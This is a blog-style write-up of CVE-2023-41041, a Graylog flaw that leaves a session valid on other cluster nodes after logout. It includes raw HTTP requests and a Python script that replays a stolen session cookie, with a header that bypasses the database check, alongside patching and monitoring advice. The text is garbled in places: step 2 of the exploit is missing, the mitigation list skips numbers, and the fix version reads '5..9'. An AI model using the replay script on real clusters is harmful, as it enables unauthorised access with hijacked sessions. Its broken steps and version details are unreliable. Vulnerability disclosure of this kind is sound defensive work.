CVE-2023-41041 - Exploiting Stale Sessions in Graylog Clusters - Deep Dive, Demo & Mitigation
Graylog is a popular open-source log management and analysis platform used worldwide. Recently, a significant security issue was found and tracked as CVE-2023-41041. It affects how user session invalidation works in Graylog clusters, specifically when multiple nodes are involved.
If you run Graylog in a cluster, you should read this carefully. This post breaks down what the CVE is, how an attacker can exploit the flaw, and how to fix it. We'll use clear examples, reference public sources, and keep it simple.
TL;DR
- Vulnerability: User sessions are NOT invalidated cluster-wide upon logout; other nodes might honor a cached session until its expiry.
- Impact: After a user logs out, their session token *may* still be valid for API requests on other nodes for up to the session's lifetime.
References:
- Official Graylog advisory
- NVD entry
Each Graylog node keeps its own in-memory cache of user sessions.
- On session use, if the session isn’t in the cache, it’s loaded from the database and then cached.
- When the user logs out, their session is *removed from that node’s cache and deleted from the database*.
- PROBLEM: Other nodes still have that session in their local cache, and will treat it as valid until the session times out—even though it's no longer in the database!
Step-by-Step Exploit Scenario
Let's see how this could be exploited by an attacker or abused accidentally.
1. User logs in (creates a session)
POST /api/system/sessions HTTP/1.1
Content-Type: application/json
{"username":"alice","password":"secret"}
→ Graylog returns session_id: abc123, stored in session cookie.
3. Using the stale session on another node
Now, if another node receives a request with the same cookie (e.g., due to user visiting another endpoint, or attacker re-using a stolen session), it checks local cache:
GET /api/users HTTP/1.1
Cookie: session=abc123
X-Graylog-No-Session-Extension: true
If session abc123 is in its memory, it will be accepted (unless session lifetime expired).
- UI shows logout (as it uses the node that handled logout), but API requests on other nodes still work with the old token!
4. Advanced Exploit: No session extension header
Under normal circumstances, Graylog updates the session's "last access" time for every API request, which would force cache-to-database sync, and the absence of the session in the DB would be noticed.
But if you prevent session update (using the header: X-Graylog-No-Session-Extension: true), the node *never* checks the DB. This is the crux!
Exploit steps (pseudocode)
import requests
SESSION_ID = 'abc123' # Obtained before logout, e.g. via XSS/phishing
# Send request to a second node's API AFTER the user logs out on another node
headers = {
'Cookie': f'session={SESSION_ID}',
'X-Graylog-No-Session-Extension': 'true',
}
r = requests.get('https://graylog-node-2.example.com/api/users';, headers=headers)
print(r.text) # If not expired, the request will still succeed!
Attacker sends API requests to node-2 or node-3 with Alice's session and the special header.
5. As long as session lifetime hasn't expired AND attacker uses X-Graylog-No-Session-Extension:true, node-2/3 accept the session for API requests.
If you run a Graylog cluster
1. Upgrade immediately to Graylog 5..9 or 5.1.3.
Watch for suspicious API requests using the X-Graylog-No-Session-Extension:true header.
4. Be cautious with session cookie security; enable HTTPS and use strict cookie flags (Secure, HttpOnly).
Links & References
- Graylog Security Advisory: GHSA-3847-qfr5-2p7c
- NVD: CVE-2023-41041
- Graylog 5.1.3 Release Notes
- Related code diff
Final Thoughts
This bug is a textbook example of session invalidation issues in clustered apps. If you rely on Graylog and haven’t updated, you’re at risk of stale sessions enabling unwanted access after logout. The fix is available, and upgrading is simple and safe. Don’t wait—patch your Graylog clusters now.
Timeline
Published on: 08/30/2023 22:15:00 UTC
Last modified on: 09/05/2023 19:37:00 UTC